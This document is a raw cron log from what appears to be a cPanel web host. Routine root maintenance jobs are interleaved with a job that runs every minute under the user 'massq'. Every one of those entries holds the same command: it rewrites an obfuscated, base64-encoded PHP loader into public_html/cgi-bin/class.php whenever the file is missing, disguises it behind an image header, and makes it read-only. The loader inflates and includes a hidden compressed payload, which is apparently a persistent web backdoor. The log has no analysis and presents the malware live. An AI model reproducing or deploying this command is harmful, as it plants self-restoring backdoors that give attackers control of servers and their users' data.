Sep 11 05:20:01 server CROND[3704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:20:01 server CROND[3705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:20:01 server CROND[3711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:20:01 server CROND[3710]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:20:01 server CROND[3708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:20:01 server CROND[3733]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 05:21:02 server CROND[4568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:21:02 server CROND[4569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:21:02 server CROND[4570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:22:01 server CROND[4935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:22:01 server CROND[4936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:22:01 server CROND[4937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:23:01 server CROND[5333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:23:01 server CROND[5334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:23:01 server CROND[5335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:24:01 server CROND[5722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:24:01 server CROND[5723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:24:01 server CROND[5724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:25:01 server CROND[6195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:25:01 server CROND[6197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:25:01 server CROND[6198]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 05:25:01 server CROND[6199]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 05:25:01 server CROND[6201]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:25:01 server CROND[6202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:25:01 server CROND[6200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:26:01 server CROND[7025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:26:01 server CROND[7027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:26:01 server CROND[7028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:27:01 server CROND[7395]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 05:27:01 server CROND[7397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:27:01 server CROND[7398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:27:01 server CROND[7396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:28:01 server CROND[7773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:28:01 server CROND[7774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:28:01 server CROND[7776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:29:01 server CROND[8155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:29:01 server CROND[8156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:29:01 server CROND[8157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:30:01 server CROND[8628]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 05:30:01 server CROND[8629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:30:01 server CROND[8638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:30:01 server CROND[8637]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:30:01 server CROND[8639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:30:01 server CROND[8633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:30:01 server CROND[8635]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 05:30:01 server CROND[8636]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep 11 05:30:01 server CROND[8634]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 05:31:01 server CROND[9478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:31:01 server CROND[9477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:31:01 server CROND[9479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
